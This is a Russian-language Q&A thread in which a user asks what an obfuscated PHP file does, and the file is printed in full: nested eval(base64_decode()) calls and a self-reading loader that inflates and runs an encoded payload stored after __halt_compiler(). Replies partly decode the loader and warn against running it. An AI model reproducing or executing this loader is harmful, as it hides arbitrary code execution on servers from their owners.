Как понять что делает данный код php?

Question

[Артем Колчин]

<?php
<?php
eval(base64_decode("JE9PMDAwTzAwMDA9ZmlsZShwcmVnX3JlcGxhY2UoIkBcKC4qXCguKiRAIiwiIixfX0ZJTEVfXykpOwppZihwcmVnX3JlcGxhY2UoIkBcKC4qXCguKiRAIiwiIixfX0ZJTEVfXyk9PV9fRklMRV9fIG9yCnByZWdfcmVwbGFjZSgiQFwoLipcKC4qJEAiLCIiLF9fTElORV9fKSAhPSAzKWRpZSgiPHR0PkVSUk9SIik7"));
eval(base64_decode("ZnVuY3Rpb24gT09PTzAwMDBPMCgkYSwkYil7JGM9YXJyYXkoOTczLDMzMCw4LDE1ODApOyRrPWd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCJLeXJOVGNvc0tRWUEiKSk7JE8wTzA9JGtbNl0uJGtbMV0uJGtbM10uJGtbNl0uJGtbNV0uJGtbMF07JE8wPSIka1s1XSRrWzBdJGtbNF0ka1syXSI7aWYoJGI9PTE2Mil7JGQ9JE8wTzAoJGEsJGNbMF0rJGNbMV0sJGNbMl0pO31lbHNlaWYoJGI9PTEzKXskZD0kTzBPMCgkYSwkY1swXSwkY1sxXSk7fWVsc2VpZigkYj09NDApeyRkPSRPMCgkTzBPMCgkYSwkY1swXSskY1sxXSskY1syXSkpO31yZXR1cm4kZDt9"));
eval(base64_decode(OOOO0000O0($OO000O0000[0],13)));
eval(OOOO0OOO0O(OOOO0000O0($OO000O0000[0],40),OOOO0000O0($OO000O0000[0],162),$OO000O0000));
__halt_compiler();
HO22oBaWYoIWZ1bmN0aW9uX2V4aXN0cygiT09PTzBPT08wTyIpKXtmdW5jdGlvbiBPT09PME9PTzBPKCRhLCRiLCRjKXskZD1pbXBsb2RlKCRjKTskZD1wcmVnX3JlcGxhY2UoIi9fX2hhbHRfY29tcGlsZXIuKi8iLCIiLCRkKTtpZigkYj09aGFzaCgiY3JjMzIiLCIkZCIpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZGllKCI8dHQ+Y3JjMzIgQ29kZSBtYW5pcHVsYXRpb24gZGV0ZWN0ZWQ8L3R0PiIpO319fQ7fafc4f6lVZtT+NGEP5eqf9hiaKzI3AACVUVlKg5mgN0vKQJXIsAWRt74qywd83umhKd+t87u3bstYFW/UTm7dmZZ17Mjz/0qRy/UJZeirhIgRyTe+KdiQzGcca4t0O8kxTQZSN9ptFTkdfiVGJYpLuyaqKphkTIdVfBoPH5LCmP21Jj/AJUFxK6cuNwLWOQbaljVBd0Ael7usbxVjkgRmhMk9dcSN3WnUrhsGAlp2aUBO+IjXlKE2gJbmSWAddd2WUD4gW2wCU4Tdua88zk2xHvsrRTUC3OQWvGE/VGcSU0Wzadu1lBBm+cL1Xi8GJ9GgmyPMV+O9B6nbpiJFnuTkshJfCoefOCRcAVdOV2M27zGB+pxd8gZS/gjFylcEduSteG2EvQKxF/oK61M4gA07TVUo4Nayalkh06xHr+lNLY/L6jnVacikuQ0Ypy3TFMnqimqUg66qnEcmdFRzsTC9FRfftaLV5HP9dUu4PRGrbPghfu6HGlJUKIpjrLuEhYM8tjqVnkdrBSdOV3trxtWbfKcZJE7mkt3FEUkQQ6zllpjBnFTHVrKVxtU3qxUDhdi1ZzgBedXa1VtebPJUudkbBiQyE+kkiqmbvfMpsJppDqjerxiLAl8bcYD6mUdO33w9nk99vJ/Obey+yd9R53SPvyDsinT8SNOJ38m/eAfCcroHjJ/N7Zzc10d3+4Tw72DgguLfkiCh73BkckZnBE/iaMs1CB9j2QUshQghkS3GJMdRKOLy4GR7VHzBSu7Dq0ngod9hDmjRWLlbrI214dcN+N7LVxe2UEWkLNMghTljFtA6JVzKTvDYceCn1rtI/hhyljkRRG4+Ocgg1XChtROvjGP5xP5vPz66t7j8XeI8ZsXFhs7L/WhVT6YRKFGX1N2RIMMBby808He3vvukZCPDGTau1rC1z6zqvUDsAj2TrG5Rl8xwJA6QvMoxcJCbs0Z7vVBRvmq7xnKoRX6+B9Y8goTZlen1zOPbTgTaNowPGDMEGiomrs/RJ0UM4Y7mwuUGe8dyq4Ab6PgTRVYMZEwnPBJISCR+CTMsddgyZFmuJ67J7zGF7t7JqsPDIwM4MfR/g/M3ZWOZ7QaAXBSQl/SLgIIqPZIVmhdCDhBWs059qEbsDxg4QJqkMS7Bv1BmoqaZLRBsPY+uZbBzxGZjj8RZrU/YqQrY1HMDKFI1XBCGOjp7BqpG93p+Cmuf1wej2/wUg8Mgne8XI8ffwCWlcCNrHY7sntfDIL/xjPrs6vTi1DuWRck+Y5nIto5bvk/SfzzXF1mDdVNKjovmRJMIphUSTmRtR9Ld/v/bIVBA/ygZtpYkjLHv5Vz6ldrFJc4uwhf4ia4wcAoRbBCJkx15lQRfrPBq3PtrePNph9NnzQ/edgBK8QlUgKIvOKUSK6+bl5tH5s+5i0Ykwx5QqXDXuzwP0G/tjxDNzFL7u6LHhkjm4Ir3hple9lkOFHxC5GDvQpLBSW5mFrqwpKOzE2Ym2HpEeG5N0wf4CWHlmscbGqoioUwxdJgEN58olJqwRyUjexyI7A/1rb0UgM2fDsRNZ8fRiIs0Bk4T7nuw8GDsbgY5QgGPVMC/4B

с base64 вроде как более менее понятно , но вот что за код ниже после __halt_compiler(); и как он интепретируется языком PHP?

Comments

[Антон Антон]

Может скрипт сам себя читает и декодирует

[Дмитрий]

Что угодно, может нормальный код быть обфусцирован, может и злобред какой нибудь

[Артем Колчин]

Дмитрий, в принципе узнать что там происходит нет возможности?

[Ипатьев]

почему нет? возьмите раскодируйте да посмотрите

[Дмитрий]

Артем Колчин, как то вроде было можно пропустить через cli в консоле и подсмотреть, не уверен. Поищите, можете сами размять скилл дебага

[Ипатьев]

Дмитрий, вот запускать этот код точно не надо

[Дмитрий]

Ипатьев, ну локально побаловаться, можно расшифровать для начала base64 код, далее там скорее всего пойдут всякие реплэйсы, ну и хотя бы минимально будет понятно по названиям функции что происходит

Answer 1

[v3shin]

Навскидку код развернулся в

<?php
$OO000O0000 = file(preg_replace("@\(.*\(.*$@", "", __FILE__));
if (preg_replace("@\(.*\(.*$@", "", __FILE__) == __FILE__ or preg_replace("@\(.*\(.*$@", "", __LINE__) != 3)
    die("<tt>ERROR");
function OOOO0000O0($a, $b)
{
    if ($b == 162) {
        $d = substr($a, 1303, 8);
    } elseif ($b == 13) {
        $d = substr($a, 973, 330);
    } elseif ($b == 40) {
        $d = trim(substr($a, 1311));
    }
    return $d;
}
eval(base64_decode(OOOO0000O0($OO000O0000[0],13)));
eval(OOOO0OOO0O(OOOO0000O0($OO000O0000[0],40),OOOO0000O0($OO000O0000[0],162),$OO000O0000));
__halt_compiler();
[binary]

Дальше, как я понял, скрипт вырезает, декодирует и выполняет куски из [binary], туда я не лез. В общем, можете покопаться, но ЗАПУСКАТЬ НЕ СОВЕТУЮ.

Answer 2

[Ипатьев]

Гадость.
Тут даже смотреть не надо чтобы понять, что код делает гадость

код ниже после __halt_compiler(); никак не интерпретируется языком PHP, что явно следует из названия этой функции.

Comments

[Stalker_RED]

Код после halt вполне может читаться той частью кода, что в первых строках.